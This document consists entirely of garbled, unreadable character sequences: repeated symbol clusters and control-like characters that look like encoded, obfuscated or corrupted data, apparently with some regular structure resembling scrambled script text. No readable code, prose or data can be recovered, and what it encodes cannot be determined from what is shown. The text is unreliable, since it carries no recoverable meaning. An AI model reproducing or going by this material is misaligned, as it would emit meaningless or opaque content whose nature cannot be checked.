0  GV[^_GZ^VFFTeOOOOO
0  G]X_	GZVXFCOOOOOOV[^_GX[\FGFFTeOOOOOOOO


0
G]X_	GX[[FFTeOOOOW	[	^YW[GFTe[VZ^_
GFTeeee
TeeeeeOOeOOK^	0[ZX\\OROOO
_[
][	G]X_	G[_VFCO	
FTeOOOOOO	OOG]X_	GX]]FGK^	0[ZX\\FFOOOeOOOOOK0V[YZOOOROOO]X_	G\VVFGK^	0[ZX\\COOOK0V[YZFTeOeOOeO	OOGV[^_GYWZFG_GX[ZFFFOOOOOeOKY OOROZ0WVW V 
[GFTeOOO	OOOOG
GK0V[YZ4_GX[YF2FOIIOGFOOK0V[YZ4_GX[YF2OOQROG[V_B^V_FOOOOOIIOOGFOK0V[YZ4WZ XGX[XF2OOSROOOOG_\
D_]FFOOKY OOOOOROOGFOOOK0V[YZ4_GX[XF2TeOOOOOOO
0
G	[\Y
GFCOOOOK0V[YZCOOOOKY FTeeeOOOOOOZV0^	GV[^_G[_VFCOK0V[YZCO_GX]_FFTeO	OOG
GK0V[YZ4WZ XGX[]F2FOOOIIO]X_	GX[WFG_GX[VFFOOOOOIIOOOOWZ XGX[WFG]X_	GXZ_FFOOOOOIIOOV[^_GX[WFGWZ XG[]\FFFOeOOOK0Z]	WYOROOOO0
0

0

GX X[Y\Y]GFFTeO	OOOOGK0Z]	WYOOOIIOOGFOK0Z]	WYBQ
OONRROGFOOK0V[YZ4WZ XGXZ^F2FOOOeOOOO0
0

0  GX X[Y\Y]GFFTeOOOO0

0

GWZ XGX[\FGFOOOODOOO_G[]ZFGG^ZSS]FCOOGWWD]^]FFCOOWZ XG[^\FCOOX X[Y\Y]GFFTeeeeOOeeeO
0  G_GZVXFCOV[^_GX[\FGFFTeeeeOOO


0  GWZ XGZ^WFFTeOO


0  GV[^_GZ^VFFTeOOO


0
G]X_	GX[[FFTeOOOW	[	^YW[GFTe[VZ^_
GFTeOe	OGK0_W[FOOOOeeYXY\	
ZGFTeOOOeOOOOOOOOG; 
OK]WFOOeZ[^YZZGWZ XGXZ]FCOOOK]WFTeOOOOOOOOOOG*
 OOK]WFOeOOOO	OOeeeOOOWY ]]V\0YG_G[][FFTeOOeOOOOOeOOOOOOeOO	 OO	0Y\_GKW^Y0COK0__\\OOOOROMMCOKV0W OOOOOROOO	
FeeO	OOOGN
]		VY ^Z\XGV[^_G[][FFFO
TeOOeOOOOeK[][_
ZZ_ OOROO/V[^_G\W[FGKW^Y0COO
FTeO	OG_GXZ\FGK[][_
ZZ_ FOIIOOOOWZ XGX^^FGK[][_
ZZ_ FOQOG^_[WZ_\DX\FFOK[][_
ZZ_ OOOOOROXX[WZGK[][_
ZZ_ FTeOOOOOOO	OOOGNOOK[][_
ZZ_ OOWZ XGX^^FGK[][_
ZZ_ FOOOSOOGYY\B^Y\FOOOOOV[^_GXZ[FGK[][_
ZZ_ COOOV[^_GXZZFFONRROOOO_FOeOOOOOOOO
TeOOOOOOeOO	OOOOOGNOO
[X
 Z]Y
GK[][_
ZZ_ FFOOOOeOOOOZ[^YZZG_GXZYFCOOOO_GXZXFFTeeeOOO
TeeeeOOOOOeOO	OGV[^_GXZWFG_GXZFCOO]X_	GXZVFGK[][_
ZZ_ COOOOOO_COOOG[_V_DYFFCOOOOK	
	
	
FFOOOeO	OOOGK0__\\OONRROMMOOIIOK0__\\OONRROK	
	
	
4^2FOOeZ[^YZZGWZ XGXZYFCOOO_GXY_FFTeOO
TeOOOOeK0__\\OROK	
	
	
4^2TeOOOOO

OOOeOOOOZ[^YZZG]X_	GXZYFCOOOO_GXY^FFTe
TeOOOOOeOOOOO	OOOOGNKV0W OOIIOO
 0 
GK0__\\COV	_00YGFFOSROOOOO_FOOOOOeOOOOO
TeeeeeOOOK_OOROOV X[GFTeOOOOOOO	OGNK_OOOWZ XGX^^FGK_FOSOOOOG[YXD\\FFOOOeZ[^YZZGV[^_GXZYFCOO]X_	GXY]FFTeOOO
TeeOOOOeOOK^[
^OORO
0  GV[^_G^XWFFTeO	OG]X_	GXY\FGK^[
^FOIIOOOOWZ XGXY[FGK^[
^COOWZ XGXYZFGK[][_
ZZ_ FOAOOOOHHFORRRO_FOOeOOKWVOROOGFOOO]X_	GXZVFGK^[
^COOOO]X_	GXY[FGK^[
^COHHFODOOOOOO^FTeOOO	OGV[^_GX[\FGFOOBOOOOKWVOSOOGWY\WVD^^FFOOOOOeOOO
TeOOeeeOOOeK]W]ZZOOROOOOOOWZ XGXYYFG []]^
 XGFFOOOAO]X_	G^X[FOOOOOAOWZ XGXYZFGK[][_
ZZ_ FTeeeeO	OOOOOOG/WZ XGXYXFGK]W]ZZFFOeOOOOOK YZZ]OOOROOOOO/GFOOWZ XGZYYFGK]W]ZZFTeO	OOOGK YZZ]OOIIOV[^_GXYWFGFOBOOK YZZ]OSOOOGWY\Z_DZ_FFOeOO
Teeee/V[^_G]_FGK]W]ZZFTeOOOe
GK]W]ZZCOOOOK YZZ]FTeK	]\[W
WOOOOROO	
TeeeOOO	OOGV[^_GX[WFG]X_	GXYVFFOIIOOOOV[^_GXX_FGV[^_GY^VFFFOeOK\V 0OOOORO_GXX^FG 
0GH@HFCOG_GXX]FOOOOORQOOG]SS]FCOO_GXX\FORQOOOO]COOV[^_G\_]FORQO	
FFTeOO	OOOGNOGWZ XGXX_FGV[^_GXX[FFOOIIOO00
 GK\V 0FFFOOeOOOK	]\[W
WOROOOOGFOOOOOO0
 
0


0
 
0 
GK\V 0FOOOQROG[X_D\_FTeOeOOOOOeOOK	 		Y X0OOOOORO	
Te	OOGWZ XGXX_FG]X_	GXXZFFFOeOKW
\ZY[OROOOO
0  GV[^_GY\WFCOOOOGFFTeK	 		Y X0OROO_GX]]FGKW
\ZY[FOOOOOIIOOWZ XGY\ZFG[0X[YZGFCOOOOOOKW
\ZY[COOO
FTeOeOOOOOYXYW][G []]^
 XGFCOOGZ[[B^][FFTeeOO	OOOGNO]ZVG []]^
 XGFCO  	
_0VGK[][_
ZZ_ FFFOeZ[^YZZG]X_	GXZYFCOV[^_GXXYFFTeeee
TeOOOOOOOeY
XG []]^
 XGFFTeO^]X
VG []]^
 XGFFTeOOO	OGWZ XGXX_FGWZ XGX[ZFFFOOO/
0
G]X_	GXXXFCOOO^COOOOOG]ZWD[]FFTeO	OOGNOOOOK	]\[W
WOOIIOO_GXX_FG_GXX^FFOOIIOO]X_	GXXWFGWZ XGXXVFFFOOeOK Y]0ZOOOOOOROOOB^Te	 OOGK]\Z\[OROOOOOO_TOOOOOK]\Z\[OSOOOO]TOOOK]\Z\[DDFOeOOOOK
X]OOOORO]X_	GXX^FG 
0G]X_	GXW_FOOOOAOOOOOWZ XGXW^FGGVVV\\DYXFCOGVXX\YVD]]Y\_FFFCOGWZ XGXW]FOORQOOG_\D_ZFCOO]X_	GXX\FORQOOO]COOOOV[^_GXW\FOORQOOOO	
FFTe	OGV[^_GXXWFG_GXW[FFOOOIIOO00
 GK
X]FFOOeO	OOOOOGK]\Z\[OOORRROOOOO_OOOOOIIOOOOO_GXXWFGWZ XGXWZFFFOWZ XGXWZFG]FTeeeOOOOO 
TeeOK^^
YOOROGFOOO0
 
0


0
 
0 
GK
X]FTeOOOOOOO	OGK^^
YOOSOOOOG^XVBXVFOOOOOV[^_GXWYFGK^^
YCOGG[VYDXFCOOGZ^_D^_FCOOOOG][XD]X[FCOOOOOOGWWYB\Y[FCOOG_^D_^YFCOG_VD_^Z\FCOOOOGZ]_DYFCOGZ]_DXFFCOO
FFOOeO	OGK]\Z\[OOORRROO_OIIOOOV[^_GXXWFGWZ XGXWXFFFOOOWZ XGXWXFG]FTe 
TeOeeOOK Y]0ZOOOOROOK^^
YTeOOO
TeOOOe	OGK Y]0ZOOOORRROOB^FOOK Y]0ZOOOROG__D_^\[FTOOeO	OOGK Y]0ZOOQROG[Y_D[_FFOOOeOKXZ	 OOOROOO]ZVG []]^
 XGFCOO  	
_0VGK_FFTeOOOO	OOOOOOGNKXZ	 FOKXZ	 OROOO]ZVG []]^
 XGFCOOK_FTeOOO
0  GV[^_G^XWFCOOV[^_GXYZFGK[][_
ZZ_ FOOAOOHHOOAOOV[^_GXYWFGFCOOO]X_	GX]_FFTeO	OOGNKXZ	 FOOeOOOOOZ[^YZZGV[^_GXWWFCOO_GXWVFOOAOOK Y]0ZFTeeeeOO
TeOe^]X
VG []]^
 XGFFTeOOOY
XG []]^
 XGFFTeOOOOOV X[G
FTeOOOOO\Y]__	
WG
FTeOOOOOKYW_^ORO_G][\FG []]^
 XGFCO]X_	GY[WFFTeOO	 
OOGGV[^_GXYYFG []]^
 XGFFCOOO[\
W^^WGFFOOOKY 0FOOOe/]X_	G]_FGKY 0OOOAOOV[^_G^V]FOAOOOOOKYW_^FTe/]X_	GXV_FGKY 0OOAOOWZ XGXV^FOOAOOOOOOKYW_^FTeeOOOO	OOOOOGK	 		Y X0OOIIOOON	VV GFOOOIIOOOOOOWZ XGXXWFG_GYWYFFFOOOeeeeK][\OOORO
0  G]X_	GXV]FCOGFFTeOOO	OG]X_	GX]]FGK][\FOOIIONV[^_GXV\FG[0X[YZGFCOOOOOK][\CO
FFOOOeOOK][\42ORO[0X[YZGFTeOO/
0  GV[^_GXV]FCOK][\FTeOeOeOK(# -.#<4]X_	GXV[F2OOOROOO_TeeeO[VZ^_
GFTeZ[^YZZGWZ XGXWWFCOOO]X_	GXVZFOAOOOOOOK Y]0ZFTeOOO
TeeOOOOOe	OGK0__\\OONRROMMFOOeOOK(# -.#<4]X_	G]F2OROOOOK0__\\TeO0]]
G []]^
 XGFCOOOOOK0__\\FTeeeOeO	OOOOOGKV0W FOOeKYWY_YOROV[^_GXVYFG []]^
 XGFCOOOV[^_GY[WFFTeOOOOOOO	 
OGGWZ XGXYYFG []]^
 XGFFCO[\
W^^WGFFOOOOK0^Y]	W^FOOe/V[^_GXVXFGK0^Y]	W^OAOOOO_G^V]FOAOKYWY_YFTeeeeOOOeOO
GKYWY_YCOOK0^Y]	W^FTeOOOOOeO	\_\YG_GXVWFCOOK[][_
ZZ_ COOO_GX]_FFTeeeeV X[G
FTe\Y]__	
WG
FTeK(# -.#<4]X_	GXV[F2OOORO_TeOOOOOO[VZ^_
GFTeeeeOOYXYW][G []]^
 XGFCOOG_[[D_
_FFTee	OOG^]X
VG []]^
 XGFFFOO^Z^V
V0G []]^
 XGFFTeOOOOOO
0  G_GXVVFCOK0__\\OOAOOOHHOOAO_GXYWFGFCOOOWZ XGW__FFTeOOOOOOOG; 
OOK]WFOeOZ[^YZZGV[^_GXWWFCOOOOK]WFTeOOOOOOG*
 OOK]WFOOOOOOeOOOOOOOO	OeOOOWY ]]V\0YG]X_	GW_^FFTeOOeOeO	 OO
[^ 0ZGFeeO	OOGNOOO
	
G_G[V]FFOONO]X_	GXXWFGV[^_GW_]FFFOeOOOOOO	OOOOGV[^_GW_\FG.-<?.;'OOAO_GW_[FFFOOOOOeO

0 
OOOOO.-<?.;'OOOOAOOOOOWZ XGW_[FTeeeOe	OOOGNOOOOV[^_GW_ZFG_GW_]FFFOeOO
TeeeOOOOOeeeK]	_^XORO
0GFTe	OGNOO_GX]]FGK]	_^XFFOOOOeOOOOOO
TeOOOOeOOOKOOOOROOOOGFTeO	 
OOOOGK]	_^XOOOK

OORQOOOOKY[FOeOO	OOOOOOGK

OOOORRROOO[0X[YZGFFOOOOe 
TeOeOOK4K

2OOOOOROOOOOKY[TeOeO
OOOKTeeO	 OO ^W]VY WGKW
\COOK]\[_^YFeOeOOOeKZX\OOOOOROOO/_GZW_FGKW
\CO	
COOCOOOOOO_COOOOGZ][][XD[^FFTOOeO	OOOOGNOOKZX\FOOOeOOO
O	
TeeeeOO	 
OOGK]\[_^YOOOK0FOeeOOOOOOO	OGNOWZ XGW_YFGK0FOOOONOK0OOOOOOOO]X_	GX^^FGK0FOOQOG]X]XD^\YVFFOOOOOe 
TeeOOOOOOOeeeOOeOeOK]_
YYYOOOOROOOO/WZ XGXZWFGK0COOOOOOKZX\FTeOOOOOOOOG; 
OOOOOOK^	^ 
\ FOOOeOZ[^YZZGWZ XGW_XFCOK^	^ 
\ FTeeeeOOOO 
TeOOOOG*
 OK^	^ 
\ FOOeO 
TeeeeOOeOO	OOGK]_
YYYFOOOeeeOO
OOOOOO
TeOeOeOOO
OOO	
TeOOOOeOOOOeOOOOOOO	 OO 
YX0VGK0

FeeeeeK]\[_^YOOOROOOK(# -.#<4V[^_G[Y[F2TeOOOO	OOOGNOO_GX]]FGK]\[_^YFOOO
GK]\[_^YFFOOeee
OO	
TeOOOeeOO	OOOOOOGNO
	
GV[^_G[V]FFOOOOOOOO
GK0

FOOOV[^_GXY[FGK0

COOOV[^_GW_WFFOONRRO	
FOOOeO
OOO	
TeOOOeOOOeOK
]0V	W[OOOROOOO8?0?#:(&!0+&=OOOOOAOOH@HOOOOAOOOOOOK0

TeOO	OOOG]X_	GXYYFGK0

FOOOOORRROOOHAHFOOeOOOOOKX_^[OOROGK
]0V	W[FTeOOOOO

OOOeOOOK_Z00[OOROWZ XGXYYFGK
]0V	W[FTeO	OOOOOGNOV[^_G^W_FGK_Z00[FOOOOOONOOV[^_GW_VFGK_Z00[FFOeOOOOOO
OOO	
TeeOOOeOOKX_^[OROOOOVWWVZ0 ^W
GK_Z00[COOOOOG_GW^_FCOOO_GZ][FCOV[^_GW^^FCOV[^_GW^]FCOO]X_	GW^\FFFTeeeeOOOOOOe	 
OGKX_^[OOOKW
\FOeeOOOOOO	OOGNO]X_	GW^[FGKW
\FFOOeee 
TeOOOOOeO	OOOOG ^W]VY WGKW
\COOOOK]\[_^YFFOeO
OOOOO
TeeOOOOeeOO
OOOOO	
TeOOOeOOOO	 OOOVWWVZ0 ^W
GK_Z00[COK V	ZZCOOKW	_ 0VOROO_COOIK][0^OOROOCOOOOIKW\]^OOROFeOeOOKOOROGFTe	OOGKW	_ 0VOOOOQOG^YBWFFOeOO
OKTeeOOOOO	OOGK][0^OOORRROOFOOOOeOK][0^OOROOOGFTeOKW\]^OOROOOOOV[^_GYXWFG
FOOOODOOOG_XD_\FTeee	OG_GYXWFG
FOOQOOOKW\]^FOOOe
OOOOOKTeOOOe	OGNO]X_	G^W_FGK_Z00[FFOOOee
OOKTeeOeOKYYX
]ORO/_GW^ZFGK_Z00[FTe	OGKYYX
]OONRROOOOOO	
FOOeO	OOG
GK][0^4KYYX
]2FFOeOOOOOO
OKTeeOOOeOK][0^4KYYX
]2OOROO
TeeOeeeeK0YZ00OOROO XZWV	[YGK_Z00[FTeOO	OGNOV[^_GW^YFGK0YZ00FFOOOOOeOOOOOO
OOOOOKTeeeOOOeeeOOOOOOOO	 
OGK0YZ00OOOOOOOOOOK
0\0]V FOOe	OOOOOGV[^_GYXWFG
FOQOOKW\]^OOOOOV[^_GW^XFGKFOQROOOG[WZD^ZFFOOeOO
TeOeOOOK
]0V	W[OOROK_Z00[OAOOOH@HOOOAOOOK
0\0]V Te	OOOOG/WZ XGW^WFGK
]0V	W[FFOOOeOOO 
Tee	OOG/]X_	GW^VFGK
]0V	W[FFOOOOOeOKOROO]X_	G\VVFGKCOVWWVZ0 ^W
GK
]0V	W[COOOOK V	ZZCOOKW	_ 0VODOOO^COOOK][0^COOOOKW\]^FFTeOOOO

	OOG/_GW^[FGK
]0V	W[FFOOeOOOKXW OOOROO]X_	G]^_FGK
]0V	W[CO G]X_	GW]_FFFTeOOKXW OOOROOOWZ XGW_YFGKXW FOOPOO]X_	GW]^FGKXW FOUOOMMTeOOO	OG]X_	GXV\FGKXW COOK V	ZZCO
FFOeeeK42OOOROOK
]0V	W[TeeeeeeO
OOKTeOeOOOOOeOOOO	 OOO^V0]]GK0

FeeeOOeeeeOOOOOOO	OOOGNOOOOWZ XGW_YFGK0

FOOOOONOOK0

FOeOO
OO	
TeOOOOOe	OOOOGWZ XGXY[FGK0

COV[^_GW_WFFOONRROOO	
FOOOeOOO
OOOOOO	
TeeeeeeeOOOOK0

OOOROOOOO]X_	GYY]FGK0

FTe	OGK0

OORRROOO[0X[YZGFFOOOeeeOOOOOO
O	
TeOOOOeOOeOOOOO	OOGNOWZ XGW_ZFG]X_	GW]]FFOIIOOOOOV[^_GW_\FG.-<?.;'OAOOO]X_	GW_[FFFOeOOOOO

0 
OO.-<?.;'OOOOAOWZ XGW_[FTeOeOeOOOOO	OOG]X_	GW_ZFGWZ XGW]]FFOOIIOOO00
GK0

FFOOOeeOO

0GGK0

FCO
FTOOeOOOOOeeeOeOOOOK_Z00[OROO
	
G]X_	G[V]FFOOOOPO8?0?#:(&!0+&=OAOH@HOAOOOV[^_GW]\FGK0

FOOUOOOOOMMTeeOOO	OOOOGK_Z00[OIIOOO_GW^VFGK_Z00[FOIIOO]X_	GW]\FGK0

FOOOONRROOOHAHOOOOOOIIOWZ XGW]\FGK0

FFOeOOOO	OG	\\XGK_Z00[FFOeOO
O
TeOOOOOeOeOOOOOOOeeOO	OOOOOGV[^_GW_ZFG]X_	GW][FFFOOeOOOOOOeOOOOO	OGNO_GW_ZFGWZ XGW]ZFFOOONOOOOOO
0
0GV[^_GW][FFFOeOOO	OGWZ XGW_ZFG]X_	GW]YFFOOOIIOOWZ XGW_ZFG]X_	GW]XFFFOOOOOeOOOOOOOK
OOOORO
0
GG_GW]WFOORQO]X_	GW]VFCOOOV[^_GW\_FOOORQOOOO^FFTeOOOO	OGNOOO
GK
FOOIIOK
4_2BQ&+FOOOOOOeeeOO_GW]XFGK
4_2BQ&+FTeOOOOOOOO

OOOeWZ XGW]XFG^FTeeeeOOOOOOeOOOOOOOOeK0 OOOOROO


0GGK0

FFTeOOO	OGNOO00
 GK0 FFOOOOe
OG  FOK0 TeOeOOe
OO	
TeOOOeOOeO	 OOOO	\\XGK_Z00[COOKW	_ 0VOOOOROOO_FeeeeeOOOOO	OGKW	_ 0VOOOQOOG_XD_VFFOOeOOO
OOOO	
TeOOOe	OOOGNOOWZ XGW_YFGK_Z00[FOOOOK_Z00[ORRROOMMOOOOOV[^_GXY[FGK_Z00[COOV[^_GW_WFFOONRROOO	
FOOOOeOOO
OOOO	
TeOOOeOOOKXOOROOO/V[^_GW^ZFGK_Z00[FTe	OOOGKXOOOORRROOOOO	
OOOOOONOOOV[^_GW^VFGKXFFOeOOOOO
O	
TeOOeOOK
VZ\OOROOOOO
	
GV[^_GW\^FFOOOOPOO/_GW\]FG8?0?#:(&!0+&=FOOOOUOO	
Te	OGK
VZ\ORRROOO	
OOOOOOOOGKXOOOONRROOOOK
VZ\OOIIOO]X_	GXY[FGKXCOOK
VZ\OOAOO+&=*,; =60<*?.=.; =FONRROOOOO_FFOOeOO
OO	
TeOeOOOOK\OROOO/V[^_G]\XFGKXFTe	OOOOOGNOO_GW^YFGK\FFOOOeOO
O	
TeOOeeeeOOOOO	 
OOOOOGK\OOOOK]XZYFOOOOeO	OOOOGK]XZYORRROOOHAHOOOOK]XZYOORRROOO]X_	GW_WFFOOOOOeOOOOO 
TeeK
]0V	W[OOROOOOOKXOOAOOO GWZ XGW\\FFOOAOOK]XZYTeeeO	OOOOOG/]X_	GW\[FGK
]0V	W[FFOOeOZ	VV0GK
]0V	W[FTeOO 
TeOeO	OOG/V[^_GW\ZFGK
]0V	W[FFOOOeO	\\XGK
]0V	W[COOKW	_ 0VOODO^FTeOOOO

OOOeO	OOOGNOOOZ	VV0GK
]0V	W[FFOOOOeOOOYXYW][GK
]0V	W[COOG\XVD[^FFTeeeeOOOOOOZ	VV0GK
]0V	W[FTeeeeeeOOOOeO	OOOOOGNOOOO/WZ XGW\YFGKXFFOOOeeYXYW][GKXCOOOG[^]DW^FFTeOOO/V[^_GW\YFGKXFTeOOOeO
OOONOO/WZ XGW\XFGKXFTeOOOOOOeeOOOOOOeeeOOOOO	 OOOYXY\	
ZGFeOOOOOOOeeeeOOOeeOOOOOOKOORO
[^ 0ZGFTe	OOOOOGNO]X_	GW^YFGKFFOOee
TeOOOeOOOOOeOOOOK	]
XVOOOOROGFTeK]]	OOOOROO	
Te	 
OGWZ XGW\WFGKFOOOOK

FOOeOeOO	OGNOOO_GW_YFGK

FFOOeOOO 
TeOOeeeOOOOeOOOK[]	^VWOOOROO]X_	GW\VFGK

FTeO	OOOOOOGK[]	^VWOOOORRROOOOHAHFOOOOeOOOOOOK[]	^VWOOOOOOROOK

TeeeOOOeO	OOOOG
GK	]
XV4K[]	^VW2FFOOeeeeO 
TeOOOOOeeeOOOeOOOOOK	]
XV4K[]	^VW2OOOOROOO
TeOOO	OOOOG 
YX0VGK

FFOOOeOOOOOOO^V0]]GK

FTeOOK]]	ORO
TeOOeeeOeeOOO	OG/V[^_GW\ZFG[\
W^^WGFFFOeOOKZZOORO XZWV	[YG[\
W^^WGFFTeOOOO	OOOOGV[^_GW^YFGKZZFFOOOeOK]\[_^YOOROOK(# -.#<4_G[Y[F2TeOOOOO	 
OOOGKZZOOOOK
0\0]V FOeOeeeO	OOOOOGK
0\0]V ORRRO]0^_[GFFOOeeeOOOO 
TeOOOOeeOOOOOKW
\OOORO[\
W^^WGFOAOOH@HOOOAOOK
0\0]V TeOOOO	OOGNO/]X_	GW[_FGKW
\FOOO_GW]^FGV[^_G]^_FGK
0\0]V COOOOO G_GW]_FFFFONRROOOOOWZ XGZ][FFOeeeO 
TeeOOOeO	OG ^W]VY WGKW
\COOOK]\[_^YFFOeZ	VV0GKW
\FTeOOOK]]	OOOORO
TeOeeOOOOeOeeOeOOK	_YW
X\OOROK(# -.#<4V[^_GX_]F2TeO	OOGWZ XGW^YFGK	_YW
X\FOOIIONO
GK	_YW
X\FFOeO	OOGV 	0Y0GK	_YW
X\FFOeOOOOOOK]]	OROO
TeeOOOeOOOOOOOOOOG; 
OOOK]WFOOOOOeZ[^YZZGWZ XGW[^FCOK]WFTeOOOOOOOOOOG*
 OOK]WFOOOOOeOOOOeOeOOeOOOO	 OO		\
_ GFeOOOOOOOOeeeOOOOOOOeeOK	[WWX\ 	OOOROOOGFOO
0  GWZ XGW[]FCOOOO_FTeOO	OOGGV[^_GW[\FGFOOBOOOOOK	[WWX\ 	FOQROOG[W[_B^][_FFOOOOOOeOOOOO
0  G]X_	GW[]FCOOOV[^_GW[[FGFFTeOOOOOOOOKX
0WOROOOGG_
V
[]GFCOOOG_GW[ZFFFFTeOKX]^__	VOROOOOO_GW_ZFGWZ XGW[YFFOOPO_GW[XFGFOOOOOUOOOMMTe	OOGKX]^__	VONRROOOOOMMOOOOOIIOKX]^__	VONRROOO_
V
[]GFFOOOOKX
0W42OOROOGKX]^__	VCOOOOG]X_	GW[ZFCOWZ XGW[WFFFTe	 
OOGKX
0WOOOOOOK\_ZV	_[FOOeO	 
OGK\_ZV	_[4^2OOOOK0]FOOOOeKVZ
OOOROOOOOV[^_GW_ZFG]X_	GY[]FFOOPOOO/]X_	GW[VFGK\_ZV	_[4_2OOOAOOH@HOOAOOOK0]OOOOAOOHEHFOOUOO	
TeeeeO	OGNWZ XGW^YFGKVZ
FFO 
Te	 
OGKVZ
OOOK
X0 	W ZFOOe	OGN/WZ XGWZ_FGK
X0 	W ZFFO 
TeOOOKV
XOOOROOO/V[^_GZYYFGK
X0 	W ZFTeO	OOOOGKV
XOOONRRO	
OOOOOIIOOGWZ XGW[[FGFOOOOBOKV
XFOOOOOQOG\ZZ\D[XFFOOOOZ	VV0GK
X0 	W ZFTeeeeOeOOOOOOOOeOOOeeeeOOOKW
\ZY[OORO
0  GV[^_GWZ^FCOOOOOGFFTeeOOOOOO	OGNV[^_GW^YFGKW
\ZY[FFOOOKW
\ZY[OOROOOGFTeOOOK0YOOOOROOO_GXVYFG []]^
 XGFCO]X_	GY[WFFTeOOK0OOOROG
	
G]X_	GWZ]FFOOOOOPOOO8?0, !;*!;0+&=OOOUOOO.-<?.;'OOOAOOWZ XGWZ\FFOOOOOOAOOWZ XGWZ[FTe	 
OOOGV[^_GWZZFG]X_	GW[VFFOOOOPOGFO/_GW[VFGK0OOAOOOWZ XG[V[FFOUOGFOOOOOOKX   ^W_YZFOOe	OOOOG]X_	GWZYFGWZ XGWZXFGKX   ^W_YZFFORRROOOOOK0YFOO 
TeOK	XY ^OOROO_GWZYFG_GWZXFGKX   ^W_YZFFOAOH@HOAOOOOO_GWZWFGKX   ^W_YZFTeOOOOO	OOOGWZ XGXV\FGK	XY ^COOOOKW
\ZY[COOO
FFOO 
TeO	OOGN/]X_	G^W^FGKX   ^W_YZFFOOOO 
TeKV
 [_W
 	OROO/WZ XG[VVFGKX   ^W_YZFTeOO	OOOGNKV
 [_W
 	OOOKV
 [_W
 	OQOOOOG]]YXV^WB^X_XYYFFOOOO 
TeeeOK^^
YOROOO/V[^_GZW_FGKX   ^W_YZFTe	OOOOGN_GW_YFGK^^
YFOOOOO]X_	GXY[FGK^^
YCOOOV[^_GWZVFFOORRRO	
FOOO 
TeOOOOOK^OROOO_G[VXFGV[^_GWY_FCOOOMMCOOOOK^^
YFTeeOOOOO	OGNWZ XGWY^FGK^FOOOOOOOOOK^OORRROOOOK^^
YOON
[X
 Z]Y
GK^FFOOOOO 
TeOOOO]ZVGKX   ^W_YZCOOOK^FTeeOOO	OOGWZ XGWZZFGWZ XG^Z\FFFOOOOO/ 
0
GKX   ^W_YZCO
FTee
GKW
\ZY[COOOOK0YCOK0COOOOKX   ^W_YZCOOOOK	XY ^COKV
 [_W
 	COOK^^
YCOOOK^FTeeeeOO]X_YGFTeOOeeOOOOOK	
ZV
]
OOROOOOOK(# -.#<4_G[Y[F2TeOK	_YW
X\OOOROOOOOOK(# -.#<4V[^_GWY]F2TeOOOOeKY[][_OOOOROG_GWY\FGK	
ZV
]
FOIIONOO
GK	
ZV
]
FFOOOOOOG]X_	GWY\FGK	_YW
X\FOOIIOONOO
GK	_YW
X\FFTe	OGNOOOKY[][_FOOeOOOO
TeeOOOOOeOK^] YZV0OOROOGFOO
0  G_GWY[FCOOO_FTe	OGGWZ XGWYZFGFOOOOOBOOOOOOK^] YZV0FOOSOG[\[D\^YYFFOOe
TeOOOOOOOeOOOOOOOeYXY\	
ZGFTe
0  GWZ XGWY[FCOOOWZ XGWYZFGFFTeOOOOOOOG; 
OOOK]WFOOOeOOZ[^YZZGWZ XGWYYFCOK]WFTeOOOOOOG*
 OOK]WFOeOOeOOOOOOOeOOeOOOOOOO	 OOO\^_ ] ZGFeOeOOOOOOOOeOOeOOOOOOK 	X_OOOROOV X[GFTeOO	OOGNK 	X_OOO_GX^^FGK 	X_FOOOSOOOG\^YD^W[FFOO
TeO	OOOGN
[X
 Z]Y
GK 	X_FFOOOOeZ[^YZZG]X_	GWYXFCOO]X_	GWYWFFTeOO
TeeeeOOOOO	OOOGWZ XGWYVFG_GWX_FFOIIOOOOO
0
GWZ XGWX^FFFO
TeOOOOOeOOKOOROOO[\
W^^WGFTeOO

G
FTeOOOOOO	OOG/_GW\[FGKFOOOOOOIIOOON/]X_	GW\ZFGKFFOe
TeOOeOOOe	OOGN/WZ XGWX]FGKFFOOeOOK_OOROOOO/G_FTeOOO^GKCOOOOOG[^XDXYFCOOOO
FTeO/GK_FTeOOOOOOOYXYW][GKCOOOOG[XWD^ZFFTeOO

G
FTeOOO

OOOO	OOGN/V[^_GW_VFGKFOOOOOOON/_G^W^FGKFFOOOeOOOOOOOYXYW][GKCOOG_^ZD_^WFFTeOO

G
FTeeOOOOe	OOOOOG/WZ XGWX]FGKFOOOIIOOOOGN/]X_	GW_VFGKFOOOOOOOON/WZ XG^W^FGKFFOOOOOOIIO/_GW\YFGKFFOeOK_OOORO/G_FTee^GKCOOG_[WD_^ZFCO
FTeOO/GK_FTeOYXYW][GKCOOG_^XYD_XXFFTeOO

G
FTeOOOeeeeeOO

G
FTe	OOOGN/V[^_GWX]FGKFOOOOOON/_G^W^FGKFOOOOOON/]X_	GW_VFGKFFOOOeOOOOOOOZ[^YZZG]X_	GWYXFCOV[^_GWX\FFTeeeeO	OOOGWZ XGWYVFG]X_	GWX[FFFOOOOO/
0
GV[^_GWXZFCOOO^COOOOGYVV\B\\V\FFTe
TeOeeOK 	Z^[OOOROOOOOOKOAOOOOH@HOAOOOO]0^_[GFTeeOOOOOOO	OOOOGY]Y^
GK 	Z^[FFOOeO
TeOOOe	OG/WZ XGWZ_FGK 	Z^[FOOOOIIOO/]X_	G[VVFGK 	Z^[FOOQOOOG[VXZD]ZFOOOOOIIOWZ XGWXYFGXX[WZGGFOO/WZ XGZW_FGK 	Z^[FFFOOOOORRROO_GWXYFGK 	X_FFOeY
XGK 	Z^[FTeZ
GFTeOOOX	[V	YGFTeOO
TeeeeeOOOO	OOG/_GWXXFGK 	Z^[FOOIIO/]X_	G[VVFGK 	Z^[FOOQOOOOG[V]WDX]FFOOeOOOOKYX	OROOOGFOOOO/WZ XGWXWFGK 	Z^[COO	
COOCOOOO_COOG]^YD\WW_FFTeOOO	OOOOGWZ XGWY^FGKYX	FOOOOOOIIOOOOO_GXZWFGWZ XGXZFCOOOKYX	COOOOK0FOIIO
 0 
GK04^2COOV	_00YGFCOOHQHFFO
TeOOO
GKYX	COOOOK0FTeOeOOOKY_V0X]OOORO]ZVGK 	Z^[COO  	
_0VGK 	X_FFTeO	OOOGNKY_V0X]OOOOOON/WZ XGW\XFGK 	Z^[FOOOOOO/]X_	G[VVFGK 	Z^[FOOOOSOOOOOGVXWD]]FOOOOO]X_	GWXYFGXX[WZGGFOOOOO/WZ XGWXVFGK 	Z^[FFFOONRRO_GWW_FGK 	X_FFOOOeO	OOOOOOGKY_V0X]OOIIO/_GWW^FGK 	Z^[FFOeOOOOOOKYX	OOOOROOGFOOO/V[^_GWW]FGK 	Z^[COO	
COOOOOCO_COOG[_YZD\^FFTeOOOOOKXW
